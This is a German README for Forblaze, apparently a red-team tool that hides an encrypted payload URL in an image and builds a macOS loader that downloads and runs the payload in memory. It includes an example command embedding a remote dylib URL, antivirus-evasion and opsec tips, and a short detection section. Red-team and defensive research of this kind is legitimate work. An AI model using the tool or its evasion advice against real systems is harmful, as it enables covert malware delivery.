
Forblaze - Ein Python-Mac-Steganografie-Payload-Generator
Author: AsaurusRex
VERWENDEN Sie dieses Projekt NICHT für andere Zwecke als legitime Red-Teaming-/Pentesting-Aufträge oder Forschung. Verwenden Sie es NICHT für illegale Aktivitäten jeglicher Art, und beachten Sie, dass dieses Projekt für Forschungszwecke gedacht ist und dazu beitragen soll, die Missionen sowohl der roten als auch der blauen Teams voranzubringen.
Den Blogbeitrag zu Forblaze finden Sie unter https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571
Forblaze ist ein Projekt, das Mac OS-Payloads mit Steganografie-Fähigkeiten ausstattet. Mit Python3 wird eine Obj-C-Datei für Sie erstellt, die kompiliert wird, um gewünschte verschlüsselte URLs aus der Stego-Datei zu extrahieren, Payloads über HTTPS abzurufen und sie direkt im Arbeitsspeicher auszuführen. Es verwendet eine benutzerdefinierte Verschlüsselung – sie ist kryptografisch nicht sicher, sondern dient lediglich dazu, Analysen durch Antiviren-Engines zu vereiteln. Es ist eine leichte Abweichung von meiner zuvor für Windows erstellten benutzerdefinierten Verschlüsselung namens Rubicon und in der Praxis einfacher. Forblaze verwendet Header- und Footer-Bytes, um zu identifizieren, wo sich Ihre verschlüsselten Bytes in der Stego-Datei befinden, und entschlüsselt sie dann mit einem in compile_forblaze.m hartcodierten Schlüssel. Dieser Schlüssel kann gespeichert und wiederverwendet werden, mit der Folge, dass eine andere URL zum Abrufen eines anderen Payloads verwendet werden könnte und derselbe kompilierte Forblaze ihn trotzdem ausführen und verarbeiten kann (vorausgesetzt, die Header- und Footer-Bytes werden nicht geändert und die neue Stego-Datei wird am richtigen Ort hochgeladen.)
Python3 (nur getestet mit Python3.9+), und einige zugehörige Python-Bibliotheken – pip3 sollte sich um alle benötigten Python-Abhängigkeiten kümmern. Zusätzlich wird clang zur Kompilierung verwendet, und forblaze sollte auf einem Mac ausgeführt werden, damit forblaze korrekt kompiliert werden kann.
usage: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]
Stego für Implantate generieren.
optionale Argumente:
-h, --help zeigt diese Hilfemeldung an und beendet das Programm
-innocent_path PATH Geben Sie den vollständigen Pfad zur unschuldigen Datei an, die verwendet werden soll.
-o OUTPUT Geben Sie den Pfad an, an dem Ihre Stego-Datei abgelegt werden soll.
-len_key LENGTH_OF_KEY Geben Sie eine positive Ganzzahl an, die die Länge des Schlüssels in Bytes angibt. Standard ist 16. Muss zwischen 10 und 150 Bytes liegen.
-url_to_encrypt URL Geben Sie die URL an, die Sie in die Kompilierdatei einfügen möchten.
-supply_key SUPPLIED_KEY Wenn Sie einen bestimmten Schlüssel verwenden möchten, geben Sie ihn hier an. Er muss im Format: -supply_key "\x6e\x60\..." vorliegen – d.h. es werden zwei doppelte Backslashes zwischen jedem Byte benötigt, sonst FUNKTIONIERT ES NICHT.
-stego_location STEGO_LOCATION Sie müssen einen Ort auf dem Ziel angeben, an dem sich die Stego-Datei befinden wird. Es ist ratsam, strikte vollständige Pfade zu verwenden: z.B. /Users/<>/Documents/file.jpg.
-compiled_binary COMPILED_BINARY Geben Sie den Namen der kompilierten Binärdatei an, um die URL zu extrahieren und Code aus der Stego-Datei im Arbeitsspeicher auszuführen. Der Standard ist forblaze.
-method METHOD Wählen Sie die gewünschte Methode aus. Methode 1 führt ein Dylib direkt im Arbeitsspeicher aus und funktioniert sowohl mit Go-Payloads als auch mit normalen Payloads. Methode 2 führt eine MachO-Datei direkt im Arbeitsspeicher aus, funktioniert jedoch nicht mit Go-kompilierten Payloads. Methode 3 ist Methode 1, holt jedoch den Entschlüsselungsschlüssel von einem Server, was opsec-freundlicher ist. Die Standardmethode ist 1. HINWEIS: Möglicherweise müssen Sie das 'Modul' (auch RunMain genannt) je nach Ausführungsmethode manuell bearbeiten!
-key_url KEY_URL Geben Sie die URL zum Schlüssel an, um die Stego-Datei zu entschlüsseln.
python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg -compiled_binary innocent_binary
Ehrlich gesagt nicht allzu viele. Mac OS-Erkennungen sind immer noch recht schwach, insbesondere bei In-Memory-Aktivitäten. Als Übung für den Leser könnten Sie mit geringfügigen Änderungen an diesem Code auch Payload-Bytes direkt (anstelle einer URL) aufrufen. Allerdings könnte der Verschlüsselungsteil im Python-Skript je nach Größe Ihres Payloads eine inakzeptabel lange Zeit in Anspruch nehmen.
Hinweis: Da dieser Code in eine Mach-O-Binärdatei kompiliert (nicht in ein Dylib, was jedoch recht einfach im Code geändert werden kann), verhindern Kontrollen wie Gatekeeper standardmäßig die Ausführung, es sei denn, Sie können den Payload signieren oder das Quarantäne-Attribut entfernen.
Ich würde empfehlen, Dinge wie die Anzahl der generierten Zufallsbytes vom Standardwert zu ändern und die standardmäßigen Header- und Footer-Bytes, die forblaze zum Auffinden des Payloads in der Stego-Datei verwendet, zu ändern (sowie die Länge dieser Header- und Footer-Bytes, um möglicherweise unauffälliger zu sein).
Für die beste OpSec empfehle ich, Ihren Entschlüsselungsschlüssel von einem externen Server abzurufen, den Sie kontrollieren – dann können Sie den Zugriff auf diesen Schlüssel streng kontrollieren, was Reverse Engineering erheblich erschwert.
Steganografie ist ziemlich schwer zu erkennen. Wenn Sie wissen, wo sich die Stego-Datei befindet, können Sie beginnen, die verdächtigen Bytes nach dem Ende des normalen Datei-EOFs zu extrahieren (also nach "FFD9" bei JPEGs zum Beispiel). Diese verdächtigen Bytes enthalten immer noch den eigentlichen verschlüsselten Payload und unsinnige Zufallsbytes, die ohne die von Forblaze angegebenen Header- und Trailing-Bytes schwer voneinander zu unterscheiden sind. Sie könnten diese Bytes durchsuchen und nach Mustern sich wiederholender Bytes suchen, da die Header- und Footer-Bytes bei Forblaze tendenziell so funktionieren, aber ein erfahrener Operator könnte dies schwieriger zu finden machen als standardmäßig. Wenn ein Payload abgefangen wird, können Sie offensichtlich die Binärdatei reverse-engineeren und versuchen, die Stego-Datei zu lokalisieren, und dann versuchen, den hartcodierten Schlüssel und die Header/Footer zu verwenden, um die aufgerufene URL (oder andere Bytes) umzukehren. Aber all das setzt voraus, dass Sie die Binärdatei auf anderem Wege gefunden haben.
Dieses Tool wurde auf verschiedenen Versionen von Mac OS getestet, darunter Big Sur und Catalina (x64-Systeme). Bitte lassen Sie mich wissen, wenn Sie Probleme haben.
Die benutzerdefinierte Verschlüsselung ist eine einfache Caesar-Chiffre, bei der verschiedene Bytes des Schlüssels verwendet werden, um die Bytes Ihres Klartextes zu verschieben. Deshalb sind längere Schlüssel NICHT UNBEDINGT besser für Ihre Verschlüsselung – es hängt von der Länge Ihres Klartextes ab. Wenn Ihr Klartext 50 Bytes lang ist und Sie einen 150-Byte-Schlüssel verwenden, werden nur die ersten 50 Bytes Ihres Schlüssels verwendet. Wenn Ihr Klartext jedoch > 150 Bytes ist, wären die längeren Schlüssel sicherer.
Die Steganografie ist recht einfach: Die Bytes Ihrer ursprünglichen unschuldigen Datei bleiben unverändert, und zufällige Bytes (zusammen mit Ihren verschlüsselten Payload-Bytes) werden nach diesen Bytes angehängt. Diese Zufallsbytes haben standardmäßig eine Länge zwischen 2 und 2000 (dies sollte wahrscheinlich geändert werden, um sie an Ihre Klartextgröße anzupassen – größere Klartexte sollten mehr Zufallsbytes generieren).
Das In-Memory-Ausführungsstück folgt https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory sowie dem maisal-Loader (den Link finde ich gerade nicht), mit der einfachen Änderung, dass die Payload-Bytes nicht aus einer Datei auf der Festplatte, sondern über HTTP/HTTPS gelesen werden.
Ich bin sehr offen für Kommentare und Zusammenarbeit! Hoffentlich hilft dies, eine nützliche Diskussion zum Thema benutzerdefinierte Kryptographie anzuregen, oder gibt Forschern neue Einblicke.